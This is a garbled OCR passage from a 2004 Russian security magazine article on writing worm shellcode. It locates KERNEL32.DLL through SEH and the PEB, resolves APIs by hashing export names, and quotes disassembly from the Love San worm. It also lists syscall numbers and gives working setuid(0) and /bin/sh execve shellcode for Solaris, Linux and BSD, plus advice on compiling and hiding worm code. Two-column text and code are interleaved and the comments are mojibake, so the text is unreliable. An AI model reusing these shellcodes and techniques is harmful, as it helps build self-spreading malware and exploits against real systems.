безопасность
распространения, там тоже нет? В UNIX-системах можно ка на лету. Вызывать исключение и трассировать код (как
(и нужно!) использовать прямой вызов функций ядра, реа- это приходилось делать во времена старушки MS-DOS)
лизуемый либо посредством прерывания по вектору 80h теперь совершенно необязательно. Лучше обратиться к
(LINUX, Free BSD, параметры передаются через регистры), цепочке структурных обработчиков, упакованных в струк-
либо через дальний CALL по адресу 0007h:00000000h туру EXCEPTION_REGISTRATION, первое двойное слово
(System V, параметры передаются через стек), при этом которых содержит указатель на следующий обработчик
номера системных вызовов содержатся в файле /usr/include/ (или FFFFFFFFh, если никаких обработчиков больше нет),
sys/syscall.h, также смотри врезку. Еще можно вспомнить а второе – адрес данного обработчика
машинные команды syscall/sysenter, которые, как и следует
из их названия, осуществляют прямые системные вызовы Ëèñòèíã 9. Ñòðóêòóðà EXCEPTION REGISTRATION
вместе с передачей параметров. В Windows NT и производ- _EXCEPTION_REGISTRATION struc
ных от нее системах дела обстоят намного сложнее. Взаи- prev dd ?
handler dd ?
модействие с ядром реализуется посредством прерывания _EXCEPTION_REGISTRATION ends
INT 2Eh, неофициально называемого native API interface
(«родной» API-интерфейс). Кое-какая информация на этот Первый элемент цепочки обработчиков хранится по
счет содержится в легендарном Interrupt List Ральфа Брауна адресу FS:[00000000h], а все последующие – непосред-
и «Недокументированных возможностях Windows NT» Ко- ственно в адресном пространстве подопытного процесса.
берниченко, но мало, очень мало. Это чрезвычайно скудно Перемещаясь от элемента к элементу, мы будем двигать-
документированный интерфейс, и единственным источни- ся до тех пор, пока в поле prev не встретим FFFFFFFFFh,
ком данных остаются дизассемблерные листинги тогда поле handler предыдущего элемента будет содер-
KERNEL32.DLL и NTDLL.DLL. Работа c native API требует жать адрес системного обработчика. Неофициально этот
высокого профессионализма и глубокого знания архитек- механизм называется «раскруткой стека структурных ис-
туры операционной системы, да и как-то громоздко все ключений» и подробнее о нем можно прочитать в статье
получается, – ядро NT оперирует с небольшим числом до- Мэтта Питрека «A Crash Course on the Depths of Win32
вольно примитивных (или, если угодно, – низкоуровневых) Structured Exception Handling», входящий в состав MSDN.
функций. К непосредственному употреблению они непри- В качестве наглядной иллюстрации ниже приведен код,
годны и, как и всякий полуфабрикат, должны быть соот- возвращающий в регистре EAX адрес системного обра-
ветствующим образом приготовлены. Например, функция ботчика.
LoadLibrary «распадается» по меньшей мере на два сис-
темных вызова – NtCreateFile (EAX == 17h) открывает файл, Ëèñòèíã 10. Êîä, îïðåäåëÿþùèé áàçîâûé àäðåñ çàãðóçêè
KERNEL32.DLL ïî SEH
NtCreateSection (EAX == 2Bh) проецирует файл в память
(т.е. работает как CreateFileMapping), после чего NtClose .data:00501007 xor eax, eax ; EAX := 0
.data:00501009 xor ebx, ebx ; EBX := 0
(EAX == 0Fh) со спокойной совестью закрывает дескрип- ; àäðåñ îáðàáîò÷èêà
тор. Что же касается функции GetProcAddress, то она цели- .data:0050100B mov ecx, fs:[eax+4]
; óêàçàòåëü íà ñëåäóþùèé îáðàáîò÷èê
ком реализована в NTDLL.DLL и в ядре даже не ночевала .data:0050100F mov eax, fs:[eax]
(впрочем, при наличии спецификации PE-формата – она ; íà ïðîâåðêó óñëîâèÿ öèêëà
.data:00501012 jmp short loc_501019
входит в Platform SDK и MSDN – таблицу экспорта можно ; --------------------------------------------------------
проанализировать и «вручную»). .data:00501014
.data:00501014 loc_501014:
С другой стороны, обращаться к ядру для выбора ; àäðåñ îáðàáîò÷èêà
«эмулятора» LoadLibrary совершенно необязательно, по- .data:00501014 mov ebx, [eax+4]
; óêàçàòåëü íà ñëåä. îáðàáîò÷èê
скольку библиотеки NTDLL.DLL и KERNEL32.DLL всегда .data:00501017 mov eax, [eax]
присутствуют в адресном пространстве любого процесса, .data:00501019
.data:00501019 loc_501019:
и если мы сможем определить адрес их загрузки, мы со- ; ýòî ïîñëåäíèé îáðàáîò÷èê?
рвем банк. Автору известны два способа решения этой за- .data:00501019 cmp eax, 0FFFFFFFFh
; ìîòàåì öèêë, ïîêà íå êîíåö
дачи – через системный обработчик структурных исключе- .data:0050101C jnz short loc_501014
ний и через PEB. Первый – самоочевиден, но громоздок и
неэлегантен, а второй элегантен, но ненадежен. «PEB толь- Коль скоро по крайней мере один адрес, принадлежа-
ко на моей памяти менялась три раза» (с) Юрий Харон. щий библиотеке KERNEL32.DLL, нам известен, опреде-
Однако последнее обстоятельство ничуть не помешало лить базовый адрес ее загрузки уже не составит никако-
червю Love San разбросать себя по миллионам машин. го труда (он кратен 1000h и содержит в своем начале
Если во время выполнения приложения возникает ис- NewExe заголовок, элементарно опознаваемый по сигна-
ключительная ситуация (деление на ноль или обращение турам «MZ» и «PE»). Следующий код принимает и ожида-
к несуществующей странице памяти, например), и само ет в регистре EBP адрес системного загрузчика и в нем
приложение никак ее не обрабатывает, то управление же возвращает базовый адрес загрузки KERNEL32.DLL.
получает системный обработчик, реализованный внутри
KERNEL32.DLL и в W2K SP3, расположенный по адресу Ëèñòèíã 11. Ôóíêöèÿ, îïðåäåëÿþùàÿ áàçîâûé àäðåñ çàãðóçêè
KERNEL32.DLL ïóòåì ïîèñêà ñèãíàòóð «MZ» è «PE» â îïåðàòèâíîé
77EA1856h. В других операционных системах этот адрес ïàìÿòè
будет иным, поэтому грамотно спроектированный shell-
; ýòî «MZ»?
код должен автоматически определять адрес обработчи- 001B:0044676C CMP WORD PTR [EBP+00],5A4D

№4(17), апрель 2004 39


безопасность
; -- íåò, íå MZ --> сих пор терроризирующего Интернет. Данный фрагмент
001B:00446772 JNZ 00446781 не имеет никакого отношения к автору вируса и был им
; íà «PE» çàãîëîâîê
001B:00446774 MOV EAX,[EBP+3C] «позаимствован» из сторонних источников. Об этом го-
; ýòî «PE»? ворят «лишние» ассемблерные команды, предназначен-
001B:00446777 CMP DWORD PTR [EAX+EBP+0],4550
; -- äà, ýòî PE --> ные для совместимости с Windows 9x (в ней все не так,
001B:0044677F JZ 00446789 как в NT), но ведь ареал обитания Love San ограничен
; ñëåä. 1 Êá áëîê
001B:00446781 SUB EBP,00010000 исключительно NT-подобными системами, и он в принци-
; ìîòàåì öèêë пе не способен поражать Windows 9x!
001B:00446787 LOOP 0044676C
001B:00446789 …
Ëèñòèíã 14. Ôðàãìåíò ÷åðâÿ Love San, îòâåòñòâåííûé çà îïðå-
äåëåíèå áàçîâîãî àäðåñà çàãðóçêè KERNEL32.DLL è îáåñïå÷èâà-
Существует и более элегантный способ определения þùèé ÷åðâþ çàâèäíóþ íåçàâèñèìîñòü îò âåðñèè àòàêóåìîé îïå-
базового адреса загрузки KERNEL32.DLL, основанный на ðàöèîííîé ñèñòåìû
PEB (Process Environment Block – блок окружения процес- ; PEB base
са), указатель на который содержится в двойном слове data:004046FE 64 A1 30 00 00 mov eax, large fs:30h
data:00404704 85 C0 test eax, eax ;
по адресу FS:[00000030h], а сам PEB разлагается следу- ; -- ìû íà w9x -->
ющим образом: data:00404706 78 0C js short loc_404714
; PEB_LDR_DATA
data:00404708 8B 40 0C mov eax, [eax+0Ch]
Ëèñòèíã 12. Ðåàëèçàöèÿ ñòðóêòóðû PEB â W2K/XP ; 1 ýëåìåíò InInitOrderModuleList
data:0040470B 8B 70 1C mov esi, [eax+1Ch]
PEB STRUC ; ñëåäóþùèé ýëåìåíò
PEB_InheritedAddressSpace DB ? data:0040470E AD lodsd
PEB_ReadImageFileExecOptions DB ? ; áàçîâûé àäðåñ KERNEL32.DLL
PEB_BeingDebugged DB ? data:0040470F 8B 68 08 mov ebp, [eax+8]
PEB_SpareBool DB ? data:00404712 EB 09 jmp short loc_40471D
PEB_Mutant DD ? data:00404714; -------------------------------------------
PEB_ImageBaseAddress DD ? ; CODE XREF: kk_get_kernel32+A↑j
; +0Ch data:00404714 loc_404714:
PEB_PebLdrData DD PEB_LDR_DATA PTR ? data:00404714 8B 40 34 mov eax, [eax+34h]
… data:00404717 8B A8 B8 00 00+ mov ebp, [eax+0B8h]
PEB_SessionId DD ? data:00404717
PEB ; CODE XREF: kk_get_kernel32+16↑j
data:0040471D loc_40471D:
По смещению 0Ch в нем содержится указатель на
PEN_LDR_DATA, представляющий собой список загружен- Ручной разбор PE-формата несмотря на свое устрашаю-
ных динамических библиотек, перечисленный в порядке щее название реализуется элементарно. Двойное слово,
их инициализации (NTDLL.DLL инициализируется первой, лежащее по смещению 3Ch от начала базового адреса заг-
следом за ней идет KERNEL32.DLL): рузки, содержит смещение (не указатель!) PE-заголовка
файла, который в свою очередь в 78h своем двойном слове
Ëèñòèíã 13. Ðåàëèçàöèÿ ñòðóêòóðû PEB_LDR_DATA â W2K/XP содержит смещение таблицы экспорта, 18h – 1Bh и 20h – 23h
PEB_LDR_DATA STRUC DD ? ; +00 байты которой хранят количество экспортируемых функций
PEB_LDR_Flags DD ? ; +04 и смещение таблицы экспортируемых имен соответственно
PEB_LDR_Unknown8 DD ? ; +08
; +0Ch (хотя функции экспортируются также и по ординалам, сме-
PEB_LDR_InLoadOrderModuleList LIST_ENTRY ? щение таблицы экспорта которых находится в 24h –27h бай-
; +14h
PEB_LDR_InMemoryOrderModuleList LIST_ENTRY ? тах). Запомните эти значения – 3Ch, 78h, 20h/24h – они бу-
; +1Ch дут вам часто встречаться в коде червей и эксплоитов, зна-
PEB_LDR_InInitOrderModuleList LIST_ENTRY ?
PEB_LDR_DATA ENDS чительно облегчая идентификацию алгоритма последних.
LIST_ENTRY STRUC
LE_FORWARD dd *forward_in_the_list ; + 00h Ëèñòèíã 15. Ôðàãìåíò ÷åðâÿ Love San, îòâåòñòâåííûé çà îïðå-
LE_BACKWARD dd *backward_in_the_list ; + 04h äåëåíèå àäðåñà òàáëèöû ýêñïîðòèðóåìûõ èìåí
LE_IMAGE_BASE dd imagebase_of_ntdll.dll ; + 08h
… ; áàçîâûé àäðåñ çàãðóçêè KERNEL32
LE_IMAGE_TIME dd imagetimestamp ; + 44h .data:00404728 mov ebp, [esp+arg_4]
LIST_ENTRY ; íà PE-çàãîëîâîê
.data:0040472C mov eax, [ebp+3Ch]
; íà òàáëèöó ýêñïîðòà
Собственно, вся идея заключается в том, чтобы, прочи- .data:0040472F mov edx, [ebp+eax+78h]
тав двойное слово по адресу FS:[00000030h], преобразо- .data:00404733 add edx, ebp
; êîë-âî ýêñïîðòèðóåìûõ ôóíêöèé
вать его в указатель на PEB и перейти по адресу, на кото- .data:00404735 mov ecx, [edx+18h]
рый ссылается указатель, лежащий по смещению 0Ch от ; íà òàáëèöó ýêñïîðòèðóåìûõ èìåí
.data:00404738 mov ebx, [edx+20h]
его начала – InInitOrderModuleList. Отбросив первый элемент, ; àäðåñ òàáëèöû ýêñïîðòèðóåìûõ èìåí
принадлежащий NTDLL.DLL, мы получим указатель на .data:0040473B add ebx, ebp
LIST_ENTRY, содержащей характеристики KERNEL32.DLL
(в частности, базовый адрес загрузки хранится в третьем Теперь, отталкиваясь от адреса таблицы экспортируе-
двойном слове). Впрочем, это легче программировать, чем мых имен (в грубом приближении представляющую со-
говорить, и все вышесказанное с легкостью умещается в бой массив текстовых ASCIIZ-строк, каждая из которых
пяти ассемблерных командах. соответствует «своей» API-функции), мы сможем найти
Ниже приведен код, выдранный из червя Love San, до все необходимое. Однако от посимвольного сравнения

40
безопасность
лучше сразу отказаться и вот почему: во-первых, имена полнив свою миссию, червь не должен возвращать управ-
большинства API-функций чрезвычайно тяжеловесны, а ление программе-носителю, поскольку с вероятностью,
размер shell-кода жестко ограничен, во-вторых, явная заг- близкой к единице, она немедленно рухнет, что вызовет
рузка API-функций чрезвычайно упрощает анализ алго- серьезные подозрения у администратора.
ритма shell-кода, что не есть хорошо. Всех этих недостат- Если каждое новое TCP/IP-подключение обрабатывает-
ков лишен алгоритм хеш-сравнения, в общем случае сво- ся уязвимой программой в отдельном потоке, то вирусу бу-
дящийся к «свертке» сравниваемых строк по некоторой дет достаточно просто «прибить» свой поток, вызвав API
функции f. Подробнее об этом можно прочитать в соот- функцию TerminateThread, или войти в бесконечный цикл
ветствующей литературе (например, «Искусство програм- (правда, при этом на однопроцессорных машинах загрузка
мирования» Кнута), здесь же мы просто приведем про- ЦП может возрасти до 100%, что тоже очень нехорошо).
граммный код, снабженный подробными комментариями. С однопоточными приложениями все намного сложнее,
и червю приходится «вручную» приводить искаженные
Ëèñòèíã 16. Ôðàãìåíò ÷åðâÿ Love San, îòâåòñòâåííûé çà îïðå- данные в минимально работоспособный вид, либо раскру-
äåëåíèÿ èíäåêñà ôóíêöèè â òàáëèöå
чивать стек, «выныривая» в материнской функции, еще
; CODE XREF: kk_get_proc_adr+36↓j не затронутой искажениями, либо же передавать управ-
.data:0040473D loc_40473D:
; --> îøèáêà ление на какую-нибудь диспетчерскую функцию, занима-
.data:0040473D jecxz short loc_404771 ющуюся рассылкой сообщений.
; â ecx êîëè÷åñòâî ýêñïîðòèðóåìûõ ôóíêöèé
.data:0040473F dec ecx Более универсальных способов до сих пор не приду-
; ñìåùåíèå êîíöà ìàññèâà ýêñïîðòèðóåìûõ ôóíêöèé мано, несмотря на то, что несколько последних лет эта
.data:00404740 mov esi, [ebx+ecx*4]
; àäðåñ êîíöà ìàññèâà ýêñïîðòèðóåìûõ ôóíêöèé тема находится в интенсивной разработке.
.data:00404743 add esi, ebp
.data:00404745 xor edi, edi ; EDI := 0
; ñáðàñûâàåì ôëàã íàïðàâëåíèÿ
.data:00404747
.data:00404748
cld Компиляция червя
; CODE XREF: kk_get_proc_adr+30↓j Согласно правилам этикета компьютерного андеграунда,
.data:00404748 loc_404748: разработка вирусов должна происходить на языке ассемб-
.data:00404748 xor eax, eax ; EAX := 0
; ÷èòàåì î÷åðåäíîé ñèìâîë èìåíè ôóíêöèè лера и/или машинного кода. Если вы попытаетесь исполь-
.data:0040474A lodsb зовать Си или – страшно сказать DELPHI – вас попросту
; ýòî êîíåö ñòðîêè?
.data:0040474B cmp al, ah не будут уважать. Лучше вообще не писать вирусов, а если
; åñëè êîíåö, òî ïðûãàåì íà êîíåö и писать, то по крайней мере делать это профессионально.
.data:0040474D jz short loc_404756
; õåøèðóåì èìÿ ôóíêöèè íàëåòó.. Тем не менее, эффективность современных компиля-
.data:0040474F ror edi, 0Dh торов такова, что по качеству своей кодогенерации они
; …íàêàïëèâàÿ õåø-ñóììó â ðåãèñòðå EDI
.data:00404752 add edi, eax вплотную приближаются к ассемблеру, и если убить start-
.data:00404754 jmp short loc_404748 ; up, то мы получим компактный, эффективный, наглядный
; CODE XREF: kk_get_proc_adr+29↑j
.data:00404756 loc_404756: и легко отлаживаемый код. Прогрессивно настроенные
; ýòî õåø «íàøåé» ôóíêöèè? хакеры стремятся использовать языки высокого уровня
.data:00404756 cmp edi, [esp+arg_0]
; åñëè íåò, ïðîäîëæèòü ïåðåáîð везде, где только это возможно, а к ассемблеру обраща-
.data:0040475A jnz short loc_40473D ются только по необходимости.
Из всех компонентов червя только голова требует не-
Зная индекс целевой функции в таблице экспорта, лег- посредственного ассемблерного вмешательства, а тело
ко определить ее адрес. Это можно сделать, например, и начинка червя замечательно реализуются и на старом –
таким образом: добром Си. Да, такой подход нарушает полувековые тра-
диции вирусописательства, но давайте не будем цеплять-
Ëèñòèíã 17. Ôðàãìåíò ÷åðâÿ Love San, îñóùåñòâëÿþùèé îêîí- ся за традиции! Мир непрерывно меняется, и мы меняем-
÷àòåëüíîå îïðåäåëåíèå àäðåñà API-ôóíêöèè â ïàìÿòè
ся вместе с ним. Когда-то ассемблер (а еще раньше – ма-
; ñìåùåíèå òàáëèöû ýêñïîðòà îðäèíàëîâ шинные коды) были неизбежной необходимостью, сейчас
.data:0040475C mov ebx, [edx+24h]
; àäðåñ òàáëèöû îðäèíàëîâ же они становятся своеобразным магическим ритуалом,
.data:0040475F add ebx, ebp отсекающим от создания «правильных» вирусов всех не-
; ïîëó÷àåì èíäåêñ â òàáëèöå àäðåñîâ
.data:00404761 mov cx, [ebx+ecx*2] посвященных.
; ñìåùåíèå ýêñïîðòíîé òàáëèöû àäðåñîâ Кстати говоря, обычные трансляторы ассемблера (та-
.data:00404765 mov ebx, [edx+1Ch]
; àäðåñ ýêñïîðòíîé òàáëèöû àäðåñîâ кие, например, как TASM или MASM) для компиляции го-
.data:00404768 add ebx, ebp ловы червя не пригодны. Они намного ближе стоят к язы-
; ïîëó÷àåì ñìåùåíèå ôóíêöèè ïî èíäåêñó
.data:0040476A mov eax, [ebx+ecx*4] кам высокого уровня, чем, собственно, к самому ассем-
; ïîëó÷àåì àäðåñ ôóíêöèè блеру. Излишняя самодеятельность и интеллектуаль-
.data:0040476D add eax, ebp
ность транслятора при разработке shell-кода только вре-
дит. Во-первых, мы не видим, во что транслируется та
Упасть, чтобы отжаться или иная ассемблерная мнемоника, и чтобы узнать, при-
Восстановление работоспособности уязвимой программы сутствуют ли в ней нули, приходится обращаться к спра-
после переполнения – это не только залог скрытности про- вочнику по командам от Intel/AMD или каждый раз вы-
никновения, но и определенный культурный элемент. Вы- полнять полный цикл трансляции. Во-вторых, легальными

№4(17), апрель 2004 41


безопасность
Реализация системных вызовов в различных ОС
Механизм системных вызовов – это задний двор операционной системы или, если угодно, – ее внутренняя и не всегда
хорошо документированная кухня. Внутри червя плавают какие-то константы, команды, сложным образом манипули-
рующие с регистрами, но физический смысл происходящего в целом остается неясным.
Ниже приводится краткая справочная информация о способах реализации системных вызовов в различных ОС с
указанием наиболее популярных функций, в полной мере обеспечивающих жизнедеятельность червя (материал поза-
имствован из статьи «UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes» от LSD Research Group,
которую я всячески рекомендую всем кодокопателям и исследователям компьютерных вирусов и червей в частности).

Solaris/SPARC
Системный вызов осуществляется через ловушку (trap), возбуждаемую специальной машинной командой ta 8. Номер
системного вызова передается через регистр g1, а аргументы – через регистры o0, o1, o2, o3 и o4. Перечень номеров
наиболее употребляемых системных функций приведен ниже.

Ëèñòèíã 18. Íîìåðà ñèñòåìíûõ âûçîâîâ â Solaris/SPARC

syscall %g1 %o0, %o1, %o2, %o3, %o4


exec 00Bh --> path = "/bin/ksh", --> [-->a0 = path,0]
exec 00Bh --> path = "/bin/ksh", --> [-->a0 = path, -->a1= "-c" -->a2 = cmd, 0]
setuid 017h uid = 0
mkdir 050h --> path = "b..", mode = (each value is valid)
chroot 03Dh --> path = "b..", "."
chdir 00Ch --> path = ".."
ioctl 036h sfd, TI_GETPEERNAME = 5491h, --> [mlen = 54h, len = 54h, -->sadr = []]
so_socket 0E6h AF_INET=2, SOCK_STREAM=2, prot=0, devpath=0, SOV_DEFAULT=1
bind 0E8h sfd, --> sadr = [33h, 2, hi, lo, 0, 0, 0, 0], len=10h, SOV_SOCKSTREAM = 2
listen 0E9h sfd, backlog = 5, vers = (not required in this syscall)
accept 0EAh sfd, 0, 0, vers = (not required in this syscall)
fcntl 03Eh sfd, F_DUP2FD = 09h, fd = 0, 1, 2
Ëèñòèíã 19. Äåìîíñòðàöèîííûé ïðèìåð shell-êîäà ïîä Solaris/SPARC
char shellcode[]= /* 10*4+8 bytes */
"\x20\xbf\xff\xff" /* bn,a <shellcode-4> ; \ */
"\x20\xbf\xff\xff" /* bn,a <shellcode> ; +- òåêóùèé óêàçàòåëü êîìàíä â %o7 */
"\x7f\xff\xff\xff" /* call <shellcode+4> ; / */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 ; â %o0 óêàçàòåëü íà /bin/ksh */
"\x92\x02\x20\x10" /* add %o0,16,%o1 ; â %o1 óêàçàòåëü íà ñâîáîäíóþ ïàìÿòü */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] ; ñòàâèì çàâåðøàþùèé íîëü â /bin/ksh */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] ; çàíóëÿåì ïàìÿòü ïî óêàçàòåëþ %o1 */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] ; the same */
"\x82\x10\x20\x0b" /* mov 0x0b,%g1 ; íîìåð ñèñòåìíîé ôóíêöèè exec */
"\x91\xd0\x20\x08" /* ta 8 ; âûçûâàåì ôóíêöèþ exec */
"/bin/ksh";

Solaris/x86
Системный вызов осуществляется через шлюз дальнего вызова по адресу 007:00000000 (селектор семь, смещение
ноль). Номер системного вызова передается через регистр eax, а аргументы – через стек, причем самый левый аргу-
мент заталкивается в стек последним. Стек очищает сама вызываемая функция.

Ëèñòèíã 20. Íîìåðà ñèñòåìíûõ âûçîâîâ â Solaris/x86

syscall %eax stack


exec 0Bh ret, --> path = "/bin/ksh", --> [--> a0 = path, 0]
exec 0Bh ret, --> path = "/bin/ksh", --> [--> a0 = path, --> a1 = "-c", --> a2 = cmd, 0]
setuid 17h ret, uid = 0
mkdir 50h ret, --> path = "b..", mode = (each value is valid)
chroot 3Dh ret, --> path = "b..","."
chdir 0Ch ret, --> path = ".."
ioctl 36h ret, sfd, TI_GETPEERNAME = 5491h, --> [mlen = 91h, len=91h, --> adr=[]]
so socket E6h ret, AF_INET=2,SOCK STREAM=2,prot=0,devpath=0,SOV DEFAULT=1
bind E8h ret, sfd, --> sadr = [FFh, 2, hi, lo, 0,0,0,0],len=10h,SOV_SOCKSTREAM=2
listen E9h ret, sfd, backlog = 5, vers = (not required in this syscall)
accept Eah ret, sfd, 0, 0, vers = (not required in this syscall)
fcntl 3Eh ret, sfd, F_DUP2FD = 09h, fd = 0, 1, 2
Ëèñòèíã 21. Äåìîíñòðàöèîííûé ïðèìåð shell-êîäà ïîä Solaris/x86
char setuidcode[]= /* 7 bytes */
"\x33\xc0" /* xorl %eax,%eax ; EAX := 0 */
"\x50" /* pushl %eax ; çàòàëêèâàåì â ñòåê íóëü */
"\xb0\x17" /* movb $0x17,%al ; íîìåð ñèñòåìíîé ôóíêöèè setuid */
"\xff\xd6" /* call *%esi ; setuid(0) */

Linux/x86
Системный вызов осуществляется через программное прерывание по вектору 80h, возбуждаемое машинной инструк-
цией INT 80h. Номер системного вызова передается через регистр eax, а аргументы – через регистры ebx, ecx и edx.

42
безопасность
Ëèñòèíã 22. Íîìåðà ñèñòåìíûõ âûçîâîâ â Linux/x86
syscall %eax %ebx, %ecx, %edx
exec 0Bh --> path = "/bin//sh", --> [--> a0 = path, 0]
exec 0Bh --> path = "/bin//sh", --> [--> a0 = path, --> a1 = "-c", --> a2 = cmd, 0]
setuid 17h uid = 0
mkdir 27h --> path = "b..", mode = 0 (each value is valid)
chroot 3Dh --> path = "b..", "."
chdir 0Ch --> path = ".."
socketcall 66h getpeername = 7, --> [sfd, --> sadr = [],--> [len=10h]]
socketcall 66h socket = 1, --> [AF_INET = 2, SOCK STREAM = 2,prot = 0]
socketcall 66h bind = 2, --> [sfd, --> sadr = [FFh, 2, hi, lo, 0, 0, 0, 0], len =10h]
socketcall 66h listen = 4, --> [sfd, backlog = 102]
socketcall 66h accept = 5, --> [sfd, 0, 0]
dup2 3Fh sfd, fd = 2, 1, 0
Ëèñòèíã 23. Äåìîíñòðàöèîííûé ïðèìåð shell-êîäà ïîä Linux/x86

char setuidcode[]= /* 8 bytes */


"\x33\xc0" /* xorl %eax,%eax ; EAX := 0 */
"\x31\xdb" /* xorl %ebx,%ebx ; EBX := 0 */
"\xb0\x17" /* movb $0x17,%al ; íîìåð ñèñòåìíîé ôóíêöèè stuid */
"\xcd\x80" /* int $0x80 ; setuid(0) */

Free,Net,OpenBSD/x86
Операционные системы семейства BSD реализуют гибридный механизм вызова системных функций: поддерживая
как far call на адрес 0007:00000000 (только номера системных функций другие), так и прерывание по вектору 80h.
Аргументы в обоих случаях передаются через стек.

Ëèñòèíã 24. Íîìåðà ñèñòåìíûõ âûçîâîâ â BSD/x86


syscall %eax stack
execve 3Bh ret, --> path = "//bin//sh", --> [--> a0 = 0], 0
execve 3Bh ret, --> path = "//bin//sh", --> [--> a0 = path, --> a1 = "-c", --> a2 = cmd, 0], 0
setuid 17h ret, uid = 0
mkdir 88h ret, --> path = "b..", mode = (each value is valid)
chroot 3Dh ret, --> path = "b..", "."
chdir 0Ch ret, --> path=".."
getpeername 1Fh ret, sfd, --> sadr = [],--> [len = 10h]
socket 61h ret, AF_INET = 2, SOCK_STREAM = 1, prot = 0
bind 68h ret, sfd, --> sadr = [FFh, 2, hi, lo, 0, 0, 0, 0], --> [10h]
listen 6Ah ret, sfd, backlog = 5
accept 1Eh ret, sfd, 0, 0
dup2 5Ah ret, sfd, fd = 0, 1, 2

Ëèñòèíã 25. Äåìîíñòðàöèîííûé ïðèìåð shell-êîäà ïîä BSD/x86


char shellcode[]= /* 23 bytes */
"\x31\xc0" /* xorl %eax,%eax ; EAX := 0 */
"\x50" /* pushl %eax ; çàòàëêèâàåì çàâåðøàþùèé íîëü â ñòåê */
"\x68""//sh" /* pushl $0x68732f2f ; çàòàëêèâàåì õâîñò ñòðîêè â ñòåê */
"\x68""/bin" /* pushl $0x6e69622f ; çàòàëêèâàåì íà÷àëî ñòðîêè â ñòåê */
"\x89\xe3" /* movl %esp,%ebx ; óñòàíàâëèâàåì EBX íà âåðøèíó ñòåêà */
"\x50" /* pushl %eax ; çàòàëêèâàåì íîëü â ñòåê */
"\x54" /* pushl %esp ; ïåðåäàåì ôóíêöèè óêàçàòåëü íà íîëü */
"\x53" /* pushl %ebx ; ïåðåäàåì ôóíêöèè óêàçàòåëü íà /bin/sh */
"\x50" /* pushl %eax ; ïåðåäàåì ôóíêöèè íîëü */
"\xb0\x3b" /* movb $0x3b,%al ; íîìåð ñèñòåìíîé ôóíêöèè execve */
"\xcd\x80" /* int $0x80 ; execve("//bin//sh", "",0); */;

средствами ассемблера мы не сможем выполнить непос- рованию. Пропуск одной-единственной машинной коман-
редственный FAR CALL и будем вынуждены задавать его ды может стоить вам ночи впустую потраченного труда, –
через директиву DB. В-третьих, управление дампом не ведь для ее вставки в середину shell-кода все последую-
поддерживается в принципе и процедуру шифровки shell- щие инструкции должны быть смещены вниз, а соответ-
кода приходится выполнять сторонними утилитами. По- ствующие им смещения заново пересчитаны. Правда, мож-
этому очень часто для разработки головы червя исполь- но поступить и так: на место отсутствующей команды вне-
зуют HEX-редактор со встроенным ассемблером и крип- дрить JMP на конец shell-кода, перенести туда затертое JMP
том, например, HIEW или QVIEW. Машинный код каждой содержимое, добавить требуемое количество машинных
введенной ассемблерной инструкции генерируется в этом команд и еще одним JMP вернуть управление на прежнее
случае сразу, что называется, «на лету», и если резуль- место. Однако такой подход чреват ошибками и к тому же
тат трансляции вас не устраивает, вы можете, не отходя сфера его применения более чем ограничена (немногие
от кассы, испробовать несколько других вариантов. С дру- процессорные архитектуры поддерживают JMP вперед, не
гой стороны, такому способу разработки присущ целый содержащей в своем теле паразитных нулей).
ряд серьезных недостатков. Кроме того, HIEW, как и подавляющее большинство
Начнем с того, что набитый в HEX-редакторе машин- других HEX-редакторов, не позволяет использовать ком-
ный код практически не поддается дальнейшему редакти- ментарии, что затрудняет и замедляет процесс програм-

№4(17), апрель 2004 43


безопасность
мирования. В отсутствие наглядных символических имен зывается невозможно и при частых перекомпиляциях не-
вы будете долго вспоминать, что намедни положили в обходимость ручной работы дает о себе знать. Тем не
ячейку [EBP-69] и не имелось ли в виду здесь [EBP-68]? менее… лучше за час долететь, чем за пять минут добе-
Достаточно одного неверного нажатия на клавишу, чтобы жать – программировать внешний шифровщик поначалу
на выяснение причин неработоспособности shell-кода лениво, вот все и предпочитают заниматься Камаcутрой
ушел весь день. (QVIEW – один из немногих HEX-редак- с HIEW, чем автоматизировать серые будни унылых дож-
торов, позволяющих помечать ассемблерные инструкции дливых дней окружающей жизни.
комментариями, сохраняемыми в специальном файле). Затем готовый shell-код тем или иным способом имп-
Поэтому предпочтительнее всего поступать так: набивать лантируется в основное тело червя, как правило, пред-
небольшие куски shell-кода в HIEW и тут же переносить их в ставляющее собой Си-программу. Самое простое (но не
TASM/MASM, при необходимости прибегая к директиве DB, самое лучшее) – подключить shell-код как обыкновенный
а прибегать к ней придется достаточно часто, поскольку по- obj, однако этот путь не свободен от проблем. Чтобы оп-
давляющее большинство ассемблерных извращений толь- ределить длину shell-кода, потребуются две публичные
ко через нее родимую и могут быть введены. метки – в его начале и конце. Разность их смещений и
Типовой ассемблерный шаблон shell-кода приведен ниже: даст искомое значение. Но это еще что – попробуйте-ка с
разбега зашифровать obj-файл. В отличие от «чистого»
Ëèñòèíã 26. Òèïîâîé àññåìáëåðíûé øàáëîí äëÿ ñîçäàíèÿ shell- двоичного файла, привязываться к фиксированным сме-
êîäà, êîìïèëÿöèÿ: ml.exe /c "file name.asm", ëèíêîâêà:
link.exe /VXD "file name.obj" щениям здесь нельзя, и приходится прибегать к анализу
служебных структур и заголовка, что также не добавляет
.386
.model flat энтузиазма. Наконец, нетекстовая природа obj-файлов
.code существенно затрудняет публикацию и распространение
start:
jmp short begin исходных текстов червя. Поэтому (а может быть, просто в
силу традиции) shell-код чаще всего внедряется в програм-
get_eip:
pop esi му непосредственно через строковой массив, благо язык
; ... Си поддерживает возможность введения любых HEX-сим-
; shell-êîä
; ... волов, естественно, за исключением нуля, т.к. последний
служит символом окончания строки.
begin:
call get_eip Это может выглядеть, например, так (разумеется, на-
end start бивать hex-коды вручную совершенно необязательно –
быстрее написать несложный конвертер, который все сде-
Трансляция shell-кода осуществляется стандартно и лает за вас):
применительно к MASM командная строка может выгля-
деть, например, так: ml.exe /c «file name.asm». С линков- Ëèñòèíã 27. Ïðèìåð âêëþ÷åíèÿ shell-êîäà â Ñè-ïðîãðàììó
кой все намного сложнее. Штатные компоновщики такие, unsigned char x86_fbsd_read[] =
например, как Microsoft Linker наотрез откажутся транс- "\x31\xc0\x6a\x00\x54\x50\x50\xb0\x03\xcd\x80\x83\xc4"
"\x0c\xff\xff\xe4";
лировать shell-код в двоичный файл и в лучшем случае
